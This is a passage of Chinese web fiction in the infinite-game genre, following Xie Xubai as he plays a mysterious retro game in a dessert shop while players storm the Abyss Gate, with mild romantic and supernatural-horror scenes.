哪里用得着邪神在H市内广开小副本,要玩家先闯关,再具象化出灵魂裂缝当做关卡奖励让玩家去治愈,治愈完全部裂缝之后再开启深渊之门。 两种方案都是为了治疗谢叙白,后者却需要多走上七七八八个流程,整得更加声势浩大,当事人看了都得绷不住。 莉莉丝丢出最后一个依据:“邪神能够降维。” 邪神能够用自毁根基的法子降维,再凭借再生的特性恢复,虽然一前一后会元气大伤,但至少能做到。 也就是说,神祇不能干预副本这一条规则,对祂无效。 谢叙白的伤重,祂看在眼里,是人都能感受到祂的愤怒和痛苦,可祂却坚持谢叙白成为副本的主人。 要知道维持这么大一个副本需要消耗大量精神力,对灵魂受损的谢叙白是非常巨大的负担。 就是因为能将谢叙白的意识世界投影为副本,才能具象化出谢叙白的精神污质和灵魂裂缝,才能调动所有玩家治疗对方。 不然,凭邪神的性情早就一头顶上副本主人的位置,哪里舍得让谢叙白继续操劳。 就连谢叙白本人也是回想起第一次宴朔降维救下己方小队时,才惊觉这一点。 在那之前,宴朔伪装得叫一个滴水不漏,大晚上爬墙剥离个精神污质就疯癫得要死不活。 合计全是装的。 让他放下戒备,忽悠玩家修复灵魂裂缝才是大头。 岑海跃会第二次找上玩家,就是因为宴朔彻底摊牌,逼他透露【治疗完所有裂缝就能开启深渊】的情报。 当时岑海跃的表情叫一个精彩纷呈,说话咬牙切齿,一副被人卖了还得帮人数钱的憋屈样。 所以也不能说谢叙白完全压制住邪神,后者耍起心机来也是不遑多让。 换一个方面去想,习惯诉诸武力的邪神居然附和上人类的弯弯绕绕,如何不出人意料。 “white也是吧。”担任过谢叙白主治大夫的第二使徒听着完全没有被当枪使的恼怒,反而欣慰不已,“终于能听一回劝了。” 邪神的算计饱含私欲,不惜将全体玩家扯下水。 在谢叙白尚且清醒的几分钟里,作为无数人精神领袖的他,只需要对着镜头提醒一句,就能击破邪神的谋划。 他没有这么做。 彻底力竭昏迷前,谢叙白温柔抚摸掌心撒娇的小触手,狭长的眼睫微微下垂,似乎在回忆,似乎是思索。 直至十几秒过去,他结束脑子里的天人交战,无声弯眸,挺身咬上宴朔的喉结。 于敞亮的镜头前,于万万玩家的见证下,谢叙白配合了宴朔的演出。 那时他的指尖还带着颤,无声宣告着破戒前的惶惶和一丝隐秘的期盼。 邪神精于算计,圣人生出私心。 忽然都有了对方的身影。 会议室又是一阵沉默,被俩夫夫别扭纠葛的爱情闪瞎狗眼。 但知道不需要死战拼命,他们多少都轻松了一些。 除了巴瑟仍旧阴沉着脸,怨气几乎凝为实质。 第六使徒察觉出异样,问出关键:“不是说有三个方法吗,最后一个是什么?” 他不问还好,一问,巴瑟本就难看的脸色瞬间狰狞。 莉莉丝轻咳一声:“第三种方法只有特定的人在特定的情况能看见,不用理会。” 她也是被好几名差点精神崩溃的下属找上门,才知晓这件事。 这事连小羊都是第一次听闻,不免好奇地追问:“不能说?” 倒是第六使徒看了看巴瑟的脸色,突然悟到什么,露出一抹坏笑,勾着小羊的脖子将男孩拉过去,省得触及巴瑟的霉头,低声咬耳朵:“还是别问了,你是不知道雄性生物在捍卫自己那方面的主权和自尊心时有多癫。” 什么乱七八糟的。小羊眉头一皱:“我也是男的。” “那不一样,你还太小了。” 这下小羊反应过来了,毕竟他又不是真的懵懂无知的小孩。 小羊按住一脸猥琐的第六使徒把这家伙推开,忍无可忍地翻了个白眼:“你们【大人】还真龌龊。” 龌龊吗? 巴瑟闷头心想,对自己的长官兼昔日仇敌抱有那种晦暗的心思,确实很龌龊。 但那不代表他能忍受邪神每天晚上冲他怼脸秀恩爱! 宴朔不愿在谢叙白的爱慕者面前落了对方的威风,所以将人藏得严丝合缝。 但自己向来不惮于羞耻,每晚准时准点横空现身,超绝不经意地向觊觎者们展露人类的“恩赐”。 最开始只有触手上的齿痕,之后大概是修复灵魂颇有成效,逐渐放开。 到后来,男人整个肩背都印满激烈的抓痕和斑驳红印。 昏暗高空,触手翻涌,怒气值唰唰往下掉。 邪神毫不遮掩自己的春风得意,让人毫不怀疑,如果现在给祂一个足够宽敞的舞台,祂能面向全世界的情敌对谢叙白孔雀开屏。 那双猩红瞳孔状似矜持地往下一睨,直接给巴瑟看应激。 这天第六使徒还在梦中,冷不丁被巴瑟大力摇醒。 巴瑟眼睛里满是红血丝和恨不能将邪神生吃的杀气,阴测测地对第六使徒说:“送我去H市,现在!立刻!马上!” 第六使徒脑花差点被他摇均匀,叫苦不迭:“跑去H市的玩家太多了,现在限号出入,你强行入侵会被规则丢出来的……喂!巴瑟!” 十几天后。 难得天气晴朗,谢叙白抱着平安出来晒太阳。他坐在公园的椅子上,仰头沐浴在暖烘烘的日光中,静静地发呆。 说来有点羞耻。 他这些天一直在做春梦。 也没什么大不了的,就当是发育太晚,青春期延后。 可为什么一到梦里自己就像变了个人一样,特别的……呃。 醒来倒是又正常了。 谢叙白用力地搓了搓脸,让自己保持平静。 却不知他再三遮掩,仍旧有一抹红潮从指缝漏出,在冷白肤色上尤其惹眼,宛如皑皑雪地绽出一朵妖异糜烂的红梅,徒惹无风的湖面泛起阵阵涟漪。 没坐一会儿,谢叙白站起身。 不知道是不是错觉,他总有种被窥伺的感觉,炙热猛烈,像被野兽用视线从头到脚舔了一遍,都不敢在一个地方停太久。 春节到来,H市处处张灯结彩,大人脸上洋溢着笑容,小孩换上好看的新装。 来H市旅游的人超乎寻常的多,就是路边摊都挤满了人,别提有多热闹。商贩赚得盆满钵满,嘴角的弧度就没降下来过,时常乐开了花。 平安已经满月,能够自己走路了,这会儿被烧烤摊前的肉味吸引,停着不愿意走。 谢叙白和烧烤老板唠嗑,听人说最近烤章鱼特别好卖,有的人气势汹汹冲过来,一要就是好几十串。 就是吃相凶狠了点,好似那章鱼串抢走了他们的梦中情人。 谢叙白也买了串章鱼须,没让老板放作料。 他扯下来一块,递给平安,谁知道饥肠辘辘的小狗将脑袋一撇,嫌弃得不行。 谢叙白又递过去,发现自家狗崽儿是真不乐意吃,满腹狐疑:“看着挺好吃的啊,怎么就不喜欢?” 说着,他咬了一口。 唇齿张合,殷红的软舌卷起章鱼触手,舌尖扫过大小不一的吸盘。 地面突然摇晃,不远处的玩家感受到邪神不稳的气息:“祂这么激动干什么?又发哪门子疯?” 谢叙白这边没影响,他慢条斯理吃完整根章鱼须,舔着嘴唇还想再来一根。 突然身后啪嚓一声,有什么东西掐着那微妙的时机掉在地上。 谢叙白眉宇一凝,条件反射地看过去,却见青石路面上安安静静地躺着一盘游戏磁带。 他抬起头。 商业街灯火通明,人头攒动,敞开的饭店玻璃倒映着一张张举杯欢庆的笑脸。 似乎毫无异状,也看不出是谁在高空抛物。 谢叙白又低头,对着磁带仔细打量。 磁带通体黄色,没有商标和作者名,印字模糊不清,边缘磨损严重,塑料外壳经过时间的磨损已然变脆,让他想起小时候跟着同学去黑网吧,站在后面围观学长们玩的盗版魂斗罗。 八九十年代这种游戏磁带还很风靡,后续技术更迭,这种磁带也因为读取速度慢、易磨损、容量小被淘汰,如今的主流消费市场几乎看不见它们的影子。 只有怀旧的人们会去专门跑去复古市场淘宝,一般都很爱惜,不会带出家门,更没有凑巧丢掉的可能。 理性告诉谢叙白,以免被人碰瓷,还是别去碰这东西为好。 但冥冥中有一股预感催促着他。 他顿了顿,终究还是把游戏磁带捡了起来,翻过来一看,只见上面写着四个偌大的汉字。 ——《无限游戏》。 霎时间,就像引起某种奇妙的化学反应,周围有什么东西发生了改变,连带着他仿佛封闭的意识也多出一丝清明。 一阵轻风掠过谢叙白的耳侧,他抬起头。 明净的玻璃门上贴着可爱的Q版动物画像,系着紫罗兰的风铃轻轻摇晃,将甜美的香味送进人们的鼻腔,一家正在营业的甜品屋赫然出现在谢叙白的视野。 黑底白字的立式招牌上正写着: 【奥古托夫的甜品小屋,新店开业,欢迎品尝^ ^】 第286章 《无限游戏》…… 叮铃—— 风铃撞击门扉发出清越的声响,谢叙白单手抱起平安,推开甜品屋的门。 屋子里烧着炉火,暖烘烘的热浪扑面而来,将冷风和湿意挡在门外。 谢叙白嗅到黄油被高温烘烤的甜味,还有焦糖混合着坚果的醇香,那像是一股阔别很多年的味道。 他有些恍惚,下意识耸了下鼻尖,反应过来后状似若无其事地揉了揉鼻子。一晃眼,一个高壮男人站在他的面前,视线幽深。 男人有着欧洲人惯有的立体五官,浅色短发,深棕色瞳孔,长得虎背熊腰,有股锋利的杀伐气历经长年累月的淬炼刻进他的骨子里,即使系着小黄鸭的围裙也没有显出半分柔软。 和谢叙白对上眼的瞬间,男人忽地主动垂下视线,自然而然地欠身。 他突然就变得很温顺,像凶神恶煞的石巨人老实地蹲下身,摊掌迎接长大出征的王子。 于是那围裙的小黄鸭晃了晃,跟着变得憨态可掬。 “Benvenuti。”男人用含有韵律的腔调微笑说,“意大利语里欢迎光临的意思,我是店长奥古托夫。尊敬的客人,有什么可以帮到您?” 谢叙白回神,拍了拍怀里哼唧的平安:“一份宠物羊奶布丁,给这个小家伙。” 顿了顿,他又拿出游戏卡带,尝试性地问:“你这里有没有适配它的主机和屏幕?” 这话听上去像找茬,就算是专门的电子市场都不一定能翻出适配的型号机。 但奥古托夫只是笑着回答:“只要您需要。” 此时店内坐满了人,每个人的面前都摆放着两杯饮品,他们全神贯注地凝视着,努力分辨两者的区别。 炉火烧得很旺,不少人额头渗满细密的汗水,脸色却反常地惨白。 谢叙白进门的瞬间,有人猝然如惊弓之鸟般看了过来,见来者只是个数值平平的NPC,又把头扭了回去。 谢叙白被奥古托夫引到店内唯一的单人沙发坐下,正前方就是液晶电视。座位柔软舒适,猫咪靠枕稳稳托住他的腰,严丝合缝得像是为他量身定制。 他心里愈发有种怪异的熟悉感,但身体很诚实地陷了进去,舒服得发出喟叹。 奥古托夫端着一杯甜牛奶放在他面前的茶几上,叮嘱道:“小心烫。”又拆开一罐羊奶布丁用小碗装,放在平安的面前。 这个举动再次引起其他人的频频侧目,但大家都没顾得上多看。 谢叙白看见了墙上的宣传海报,上面介绍这是店里的开业活动,名字叫“甜品毒药二选一”,限定时间内选中甜品即可免单,还能得到一份店长亲手制作的精美小礼物。 只有奖励的话不会紧张成这样,谢叙白猜还有惩罚,好奇地问:“是什么?” 奥古托夫走到柜子前翻翻找找,里面都是锅碗瓢盆,却叫他变魔术般掏出一台老式主机:“毒药还不够吗?” 谢叙白心想总不可能是真的毒药,也不可能是巴豆什么的,食品安全那一栏没法过关。 或许是他想得太认真且不加掩饰,奥古托夫觉得新奇,眼中漾出一丝笑意:“您觉得我会加什么?” 谢叙白随口:“那种没有颜色和气味的辣椒水。” 想了想这东西好像不够吓人,至少不能让一大群顾客如临大敌,他强调补充:“变态辣。” 奥古托夫又忍不住笑了:“猜对了,您真厉害。” 话音刚落,旁边吱啦一声,有人失控地蹬开凳子,杯子砸在地上溅开玻璃渣,一张脸憋得涨红发青,捂嘴咳得撕心裂肺,样子非常痛苦。 他喝到了毒药! 刹那间大家都看向那人,有人怜悯,有人恐慌。 谢叙白能想到的变态辣最多就红个脸,没想到店长这么敢下剂量,那瞬间他连120都按上了。 却见当事人狂摆手,手一放开,露出个被辣肿的烈焰红唇,含着两汪生理性眼泪大叫:“唔事!窝唔事!” 又指着饮料激动地喊:“拉脚!真的素拉脚!” 其他人听见这话顿时大喜过望,齐刷刷举杯一口闷,生怕慢上一点。 结果是有人斯哈斯哈地吸气,喝到“毒药”也欢喜,有人拿着店长送出的“小礼品”更是笑得合不拢嘴。 他们陆陆续续离开,奥古托夫在门口挂上暂停营业的牌子,听见其中一位客人在身后喊他:“进度条快到头了,我们即将对深渊发起总攻,奥古托夫,你得和我们一起去。” 奥古托夫说:“依照规则,我只能担任你们的敌人。” 客人沉默,眸色深沉:“我是否还能相信你站在人类一方?” “有一个人坚信我始终在。”奥古托夫说,“所以我从未离开。” 远处传来嘻嘻哈哈的笑声,客人脸色微变,看了奥古托夫一眼,没再说什么,点点头快步远离。 笑声由远至近,街道上弥漫开僵冷的雾气,几个小孩蹦蹦跳跳地来到奥古托夫的面前,用意大利语天真烂漫地问:“今天有什么好吃的呀?” 他们注意到牌子:“为什么要停业,我们想进屋玩。” “这几天不行。”奥古托夫拿出糖果给他们,“我要接待一位非常重要的客人。” “重要的客人?”有孩子眼珠子一转,扒在窗户上往里看,一眼锁定谢叙白,“oh,是那个人吗!” 他们更起劲儿了,双脚消失,身体变成灰色的雾,飘在空中,围绕奥古托夫欢快地转圈:“放我们进去。” “我们想看看他!” “大家一起玩!” 奥古托夫仍旧温和笑着看向他们,用那副不容置疑的眼神。 渐渐的,孩子们在他的注视下打了个哆嗦,畏畏缩缩地往后一退,撇嘴:“好吧。” “知道了。” “那是对你非常重要的人。” “不能欺负。” 他们又嘻嘻哈哈地跑回街道。 雾状的身体不断拉伸延长,四肢着地,长出马蹄、鬃发、还有一根螺旋状的长角,它们张嘴喷吐带着火星的浊气,眼睛似血,十几匹成群结队,落地时重重踩碎石砖。 有人见状大惊失色:“亡灵独角兽!” “快躲开,别碰到它们,它们会把人引向死亡!” “深渊之门快开了,H市磁场紊乱,会造成这种突生诡怪的情况,大家注意防备!” 奥古托夫一动不动,抬头看向暗红色的天空。 由于大部分灵魂融于系统,他可以直接看见更深层次的真实,除了有思想的生灵以外,全世界都是扭曲蠕动的数据流。H市稍微好一些,金色光芒和漆黑触手交错穿梭其中,宛如大树的根系朝外扩展,维持着基本的稳定。 奥古托夫看向自己的双手,和那些扭曲的建筑物一样,由不断变化的字符杂糅编织,简单点说,就是一坨血色的、不成形状的沥青。 这暗色调的世界连同暗色调的身体,看久了多少有些压抑。 一转头,昏暗的视野出现一道金光。 不同于穿插在建筑物里的规则之力,谢叙白灵魂自带的光芒是更璀璨剔透的金色,让奥古托夫想起盛夏阳光下的加尔达湖。 青年不知道自己说话时口吻会透出一股独特的沉静,眼尾微微上挑,眸光荡漾,仿佛有小钩子从中伸出来,轻轻一下勾走他人的心脏,让人心甘情愿被他摆布。 他比以前更有吸引力,或许是快成神的原因。 店里还有客人没走,他从谢叙白和奥古托夫言出法随的对话中察觉到什么,脸红得比刚才喝辣椒水还夸张,握住谢叙白的手:“您放心我们一定会救您出来的!您等我们啊,您一定要等我们啊!” 他之前遇见过这种情况,无非是谢叙白的人格力量被夺走,只有一小部分残魂执念在外面游荡,这么一想就更心酸了。 谢叙白:“……” 岑海跃最近一段时间也是经常莫名抽风,说的话一样难懂。 谢叙白有应对经验,反驳或表现出疑惑的话会让对方更悲痛甚至是痛苦,是以他点点头:“好,你们加油,我等你们。” 那人望着谢叙白温和鼓励的眼神,眼睛唰一下就红了,闪闪亮亮,热泪盈眶。 他抽抽搭搭的,不知从哪儿掏出一个小本本,期待得说话都结巴:“那您您您您可以给我签个名吗?我我我我真的仰慕您很久很久了!” 谢叙白接过来,想起来问:“你叫什么?” 那人说:“邓高阳!” 谢叙白便写下:谢叙白祝邓高阳心想事成,马到成功。 文字成形的一瞬降下超高的属性增益buff,邓高阳捧着小本本激动得差点撅过去。 没想到自己有一天还能面不改色地cos个明星范儿,谢叙白正要把笔还给他,忽然一张名片伸到他的面前,奥古托夫笑着说:“给我也签一张,作为回报,你接下来的消费全额免单。” 谢叙白不好意思:“那不是占你的便宜吗?” “也没有很占便宜。”奥古托夫含蓄地说,“我马上就要回家了,没有购入新的食材,基本明天过期,而你是今天的最后一位客人。” 谢叙白:“……” 奥古托夫满意地将签完名的名片放在钱包夹层里,又把钱包放进大衣内侧,哼着歌拉出电源线,给液晶电视安装游戏主机。 平安刚吃完羊奶布丁,乐滋滋地舔嘴唇,谢叙白特意看了眼垃圾桶里的外包装,保质期倒是很长。 他又看向手里的甜牛奶,榛子巧克力味,现熬现做,香浓的气息惹人唇齿生津。 谢叙白心想应该闹不死人,鼓起勇气浅喝一口,微顿。 明明还很新鲜。 店内一空,橘黄色的灯光从天花板照下,外面寒风阵阵,屋内火炉静静地散发暖意,偶尔传出木柴燃烧的噼啪声。 奥古托夫接好主机,将游戏卡带插入,洗手擦干净,很自然地拿来一张厚实的绒毯盖在谢叙白的身上,又把手柄放在他的掌心。 “可以开始了。”他说,“我去做些吃的,您想吃香橙蛋糕吗?” 谢叙白点头,摁下启动键。 屏幕亮起,血色的标题文字“无限游戏”出现在他的眼前。 就像触动什么开关,窗外突然传来一道剧烈的爆炸声,人群惊恐的呐喊和声调拔高的指挥此起彼伏,如闪电刺破阴沉的天幕。 谢叙白刚想起身,就见奥古托夫将门窗关紧。 “您应该相信他们。”奥古托夫说,“况且您的战场不在那。” 有什么东西在脑子里呼之欲出。 那像是一股力量,又像是一股意志,察觉到合适的时机,不断撞击着壁障,疯狂想要破土。 谢叙白冷静地看着奥古托夫的脸,突然问:“我们认识多久了?” 奥古托夫往低筋面粉里加入磨碎的橙皮,笑道:“比地球毁灭要短,比一辈子要长。” 行。 谢叙白面无表情地心想,得亏这油腔滑调的家伙没有生在英国,要不高低得是个莎士比亚。 奥古托夫很熟悉他的这个表情,特别是在强行收走某个工作狂长官打算饮下的第十五瓶强效精神力恢复药剂的时候:“您一定又在心里骂我了。” 谢叙白反射性地:“没有,怎么会。” 这么一打岔,外面的动静逐渐减轻,在满怀庆幸的高呼声里,似乎有人合力将危险解除。 但转瞬风波又起,轰一声地动山摇,他们再次陷入新的战斗。 该开始了。 不用奥古托夫催促,谢叙白脑子里自发冒出这一念头。 他点击标题载入,一道刺眼的白光从主机摄像头射出,映亮他的脸。 屏幕显示文字提醒:【为了让您获取最佳的游戏体验,我们将采用镜头抓捕的面部特征生成您的人物形象】 【拍摄中,请不要乱动。】 伴随一阵悦耳的背景音,谢叙白进入游戏。 美术风格很符合他对千禧年代RPG游戏的基本印象,横版操作,马赛克像素风,这是由于早期家用游戏机和掌上设备图形处理能力较弱,显示器分辨率不高导致的。 对应的选项也很简洁,只有【开始-进入新游戏】和【读取存档】,但做工细节出乎意料的精良。 制作者特别截取一段游戏里的画面放在标题左下角当背景,只见宽阔的青色柏油街道上站着游戏主角,一个像素小人,男性,穿白衬衫系黑色领带,短发散碎,手提公文包,典型的上班族形象。 上班族背后是老旧的居民楼,从左到右依次是垃圾桶、绿化带和买油条的摊贩。老板的吆喝、汽车的喇叭声和路人的谈话交杂在一起,热热闹闹的生活气息迎面而至。 当谢叙白控制手柄,左下角的背景倏然扩大到整个屏幕,站立不动的上班族也随他的操作往左右两边走。 往左来到居民楼门口,小人停下脚步不肯进去,脑袋上冒出白底黑字的心声气泡:【今天起得太晚,再不去上班就要迟到了!】 左上角适时弹出一个滴滴答答走动的时间表,不断闪烁警告的红光。 谢叙白操控上班族往右回到路口,一路小跑来到某个开裂的公园围墙前,靠近弹出提示:【一条不知道被谁砸开的近路,我下班的时候经常走这里赶时间。】 【要进去吗?】 谢叙白选择进入。 公园连接着工地,一般白天施工不让进,需要绕路,但今天没有人在。 【呼,运气真好,节省不少时间,可以慢一点了。】 穿过工地就是一片筒子楼,巷道变窄,两边歪歪扭扭的老砖房挡住头顶的日光,视野逐渐昏暗。 中间有几个阴森的巷子口,小人在其中一个轻车熟路地停下。这里的地面凹凸不平,路灯碎裂,塑料袋随地乱丢,粘粘着黄黑色的呕吐物,还有暗红色疑似血液的痕迹。 觉察到有人到来,黑暗中露出一只猩红暴戾的兽瞳,呲牙低吼,状似威胁。 “汪!”身旁的平安突然不安地叫了一声。 谢叙白腾出手揉揉它,操控小人往巷子里丢了个肉包。 吼声乍停。 几秒钟后,阴影中露出一颗毛茸茸的狗脑袋。它仰起下巴看了谢叙白一会儿,终于纡尊降贵地低头嗅嗅肉包,张嘴大快朵颐。 这时小人的心声冒出一个问号:【公文包的夹层里似乎还有东西。】 小人自动将其拿出来,是一个红色的定制项圈。 具体图像如同镜头拉焦距般被放大,可以清晰看见项圈上的文字,有他的姓名和联系方式。 上班族:【它一直留在这里不肯走,但周围的居民厌恶流浪猫狗,戴上这个,或许情况会好一点。】 上班族:【我想养它,希望它会喜欢这个礼物。】 谁知道余光瞄见项圈的流浪狗突然凶相毕露,冲他发狂大吼! 上班族猝不及防,被吓得往后一退撞到墙上,心声急得发红:【它不喜欢?不,这已经不是单纯不喜欢的程度了,难道上一个给他套项圈的人虐待过它?糟糕它想攻击我!我该怎么办?】 来不及反应,流浪狗已经冲了上来,龇牙咧嘴要扑倒他,中途嘭一声,像是撞到空气墙摔在地上,这一情况让流浪狗更加暴躁,眼睛红得滴血。 它又是一声嘶吼,不知从哪儿呼啸刮来邪异的飓风,将上班族甩在一旁。 小人被刮伤手臂,衣服沾满尘土污渍,抬头时流浪狗没了踪迹。他随后赶到公司,被主管以仪容不整为由痛批,扣了三个月薪水。 “呜——”平安呜呜咽咽地爬上谢叙白的腿,伸出舌头,心疼愧疚地舔上人手。 谢叙白看向费力讨好自己的小狗崽,倏然弯眸一笑,拎起后颈让它完全躺在怀里,露出白乎乎的肚皮爱不释手地rua来rua去:“傻狗子,知道你当初有多过分了吧,罚你每天都要露肚皮给两脚兽rua,听到没有?” 两脚兽的手太过分了,从头撸到尾,逆着毛狂搓。 小奶狗受不了这样的摧残,眼泪汪汪地叼着他的手指求放过。 谢叙白大笑。 游戏里,被罚钱的上班族深感郁猝,当晚没有从小巷回家,第二天一早又被装修队拦住,晚上再去的时候,流浪狗已经不见踪影。 很长一段时间,上班族依旧会路过那个巷口,却再也没有看见那条凶恶的流浪狗。 游戏内容变成鸡零狗碎的日常,直至某天来了一群气质各异的外地人,又不久后一声咆哮响彻区县上空,犬形的妖怪横空出世。 game over。 谢叙白选择重新开始。 第一次重开,游戏日期发生变化,同时解锁一个新的地点,宠物店。 谢叙白吸取教训,没有进去买项圈,但不幸在午休期间撞见怪物主管蚕食活人,一命呜呼。 第二次重开,谢叙白老老实实没有乱走,就在工位上囫囵啃了个面包。 午休结束后他发现有人没回来,主管命人将他们工位上的东西清空,不到两小时新人入职,坐在那些空白的座位上,神情紧张、新奇、小心翼翼,又充满希望。 没几天后,有人犯错被单独叫去主管办公室,谢叙白提醒他小心。谁知道那人在主管面前提了一嘴,主管也把他叫了过去。 第三次重开,谢叙白出门被一伙外地人抓走,时逢几人一言不合闹内讧,使用大范围技能惊动诡怪,他被牵连身亡。 第四次重开,谢叙白改被动为主动,成功混进一个还算和谐的队伍,却被怨魂咬死。 第五次重开…… “您的香橙蛋糕。”奥古托夫将托盘放下。 谢叙白没有抬头,进入到一种极致专注的状态,眼睛倒映游戏屏幕,透出一股无机质的冷光。 时间一点一滴过去,窗外日月交错,人声慢慢远去,整个甜品屋宛如被隔绝在异空间的孤岛。 所有事物的流速都变慢了,唯有屏幕里的血腥画面如快速翻页的故事书,哗啦啦一掠而过。 不知道重开多少次,屏幕中的上班族小人突然抬头,第一次在故事还没开始前就开口:【我感觉,自己活在一个诡异世界。】 他有依据。 准备领养的流浪犬逐渐长得比小车还大。 兼职辅导的学生二次发育,喜提四十三颗牙。 隔壁桌的美人同事嫌麻烦,直接将脸皮扯下来描眉。 而他只要看得久一点,老板就会阴测测地站在旁边。 滑腻冰冷的触手在巨大阴影中缓慢蠕动,几乎挤满整个墙面。 死过成百上千次的上班族淡定极了,危机临头眉毛都没抖一下,给老板奉上热腾腾的姜茶,“贿赂”成功,逃过一劫。 也依靠这不断重开积累出的通关经验,他结交许多神通广大的外地游客,获得奇异强大的能力。 这日,天空突然出现一扇大门,即便经历过这么多次诡异世界,也是从未有过的奇观。 上班族好奇驻足,却发现所有外地游客像被魇住似的站立不动。 ……… 现实世界。 深渊大门就那样垂直矗立在玩家的视野里,巍峨似有百丈高,通体漆黑如墨,布满风化的裂纹,但再一细看,会发现那些裂纹其实是一层层古老繁复的图纹。 众人悚然地仰头凝视它,微光掠过,投射在门上却像被吞噬般石沉大海,一股比黑暗还幽邃的气息从上面滚落,拂过他们战栗发麻的耳廓,发出兴奋的轰鸣。 它是活物。 它在不断地低语。《 》 【完结篇】 第287章 致全体幸存…… 空气变得十分黏稠,顺着鼻腔滑入气管,胸腔犹如被冰水灌满般憋胀得不行。意识在恐惧的鞭笞下尖声嘶吼,身体却像被狠狠攫住,一动也不能动。 这强烈的危机感和参加H市里的死亡小游戏时完全不同,甚至比邪神发怒还要令人骇然,它已经变成实质性的禁锢。 有玩家很快反应过来,这就是论坛大佬预判过的难度调控机制。 像很多硬核游戏制作组为了控制通关率会鸡贼地四处埋坑,如果你在副本前期感觉玩得很容易,感慨根本没大家说的那么难啊简直小意思。 那么恭喜你,后期或结尾必然有套奇妙小巧思在你猝不及防时嘭一下创飞你。 但不是所有人都会被困住,至少高玩能够直接力大砖飞。 该玩家苦苦挣扎的这几十秒内,就看见不少榜上有名的大佬凌空跃起冲向深渊大门,强悍流利的身姿宛若一道疾驰的闪电。 副本施加的禁锢在他们身上脆得像张薄纸片,轻轻一动力量爆发,对冲激起余波扩散,而后尘烟散去,徒留人群在底下仰望那一个个高飞腾达的身影。 禁锢在收束,身体愈发沉重吃力,无法正常呼吸。 该玩家半跪在地上喘气,眼前一阵发黑,心想,接下来的事情就跟他们这些小碎催没什么关系了。 这几天他协助完成过3场S级、6场A级剿灭行动,2个S级、13个A级闯关游戏,怎么不算他出过一份力。 所以,就这样…… “起来!” 身边突然伸来一只手扼住他的胳膊,手背上的徽记金光大绽,被照耀的该玩家身体一轻被拽得踉跄向前,愕然抬头,对上一张不怎么熟悉的脸。 不怎么熟悉,但见过,就在之前的剿灭行动里。因为最终副本全民参与,无数玩家匆匆一聚,彼此都有个模糊的印象,算不上朋友。 而今,这不是朋友的人死死拽着他,肌肉紧绷,目光如炬,脸上没有多余的表情,只有对胜利纯粹的渴望和浓郁的战意。 没记错的话这人和他一样战斗力只有B级。 该玩家看他这么兴奋,蠕动嘴唇想要说点什么,结果对方劈头就是一句:“走啊!” 该玩家:“……” 那人又吼:“都走到这里了,要你什么都不做傻站在这干瞪着眼等死,你甘心吗?” 前面那么努力,豁出去几次性命,想要这一次有所改变、活着屹立于硝烟后的战场,想要亲眼看见胜利结算页面,不过分吧! 蚂O森林浇个水都能在沙漠里种树留下自己的痕迹,想要知道自己流下的血泪不是全无意义,想要自己的名字也能在贡献名单上赫然醒目受人瞻仰,不过分吧! 该玩家:“…………” 他的嘴唇剧烈地发着颤,视野余光中,一道道身影发出震耳欲聋的呐喊,裹挟着疾风与他擦肩而过。 前面的人越来越多,身边身后的人越来越少。 他站在冷空气凝结的空地上,仰望人潮如海波澜壮阔,拽着他再也无法坦然受死的心脏一起往前奔涌。 谁甘心畏缩? 玩家往前一步。 谁甘愿平凡? 玩家拔出剑刃,技能的微光环绕身侧。 【去吧。】 金光在手背绘制出光辉耀眼的图纹,玩家听到那道耳熟能详的嗓音在大脑中响起,那是这几天在论坛传疯了的谢叙白的声音,亦是他极其不甘想要打破点什么的嘶吼。 他追上自己的心声,紧跟在高玩大佬、万万玩家的身后,冲向苍穹。 这一天,H市陷入激烈鏖战。深渊大门不断制造空间裂隙,方圆百里内的天空大地被密密麻麻的诡怪所填满。 无数玩家陆续从世界各地赶来,前赴后继,殊死一搏,在谢叙白及其他神祇的赐福加成下,破万魔高墙,斩三千混沌怪,一路高喊齐呼杀至深渊门下,硬顶着诡气的侵蚀,轰一下撞上百丈漆黑大门! 当—— 大门摇晃,地动山摇。 当—— 门缝微显,日月轮转。 当—— 像沉寂的巨兽张开它的血盆大口,门轴发出极沉、极重的嘶鸣。 有东西从头顶簌簌掉落,是被封闭得严丝合缝的命运被硬生生凿开一条缝,震落颠沛几百年的锈与灰。 门开了。 —— 【您已帮助玩家高成彦恢复意志,信仰值+1】 【您已帮助玩家王秋萍恢复意志,信仰值+1】 【信徒蒋庭击杀一只A级诡怪,信仰值+1】 【信徒廖雅玲帮助他人恢复意志,信仰值+1】 …… 液晶屏幕散发莹亮的微光倒映在谢叙白沉静的眼底,光下似乎有更为璀璨的金色洪流在翻涌激荡。 游戏里的上班族来回穿梭于外来者之间,泼洒精神力为他们清除心障,终于在某一刻,随着玩家齐心协力的推进,深渊之门轰然开启,向他们打开一条黑黝黝的通道。 【要进去吗?你真的做好准备了吗?】 谢叙白点击是。 游戏人物上班族跟随人群进入。 他们先是跨越一条赤红滚烫的岩浆路,随后穿过怪物盘踞满是陷阱的鬼窟,在路的尽头发现一片纯白色美得动人的花海,天花板开了个洞让日光照下,正中间有个用黄金做底,红白色天鹅绒毯铺就,塞满各种柔软抱枕的巢窝。 一个眉眼清隽的男人侧身睡在正中央,双膝微蜷向上,肌肉线条流畅丝滑,没有一丝突出赘感,肤色白得透亮,在太阳光的映照下泛起玉石般的光泽,五官美得像是造物主精雕细琢后的杰作。 上班族身边的外来者们头顶接连冒出感叹号,纷纷看痴了眼,带有粉色小花花的心声接二连三冒了出来。 【不忍心叫醒他。】 【好美啊。】 【头发都睡乱了,好可爱,好想要摸摸他的脸……不行忍住!要对吾神保持尊敬!】 上班族的头顶却冒出一个问号。 【那个人给我一种似曾相识的感觉。】 上班族靠近巢窝,仔细观看。 【奇怪……】 【这好像……是我的脸。】 就在这时,背景BGM突然变调,紧张急促地响起。 大地一阵颤动,无数根漆黑滑腻的触手从屏幕外伸了出来,席卷涌上窝里的美人。眼看着美人NPC又要被抓走,外来者们大惊失色,纷纷举起武器。 气氛凝固一触即发,下一秒,上班族的身体陡然绽放出夺目的金光。 【我想起来了。】 镜头一阵颠簸,象征着游戏主角饱受冲击、不稳震荡的心境,紧跟着屏幕黑暗下去,一排醒目的文字横贯中间。 【所有的变故都是从那一天开始的。】 光线亮起,一连串细小的气泡往上飘,虚化的图像骤然翻出水面,那是主角被封闭的记忆: 他走在街道上,一碧如洗的天空忽然爆发灼目的光亮,回头时,巴掌就能遮住的太阳像是被击落般由远至近,越来越大,致使气温急剧升高,地砖干裂,树木无火自燃。不明所以的人群仓皇奔逃,直到某一刻被一阵强光吞没! 【那一天,《无限游戏》降临。】 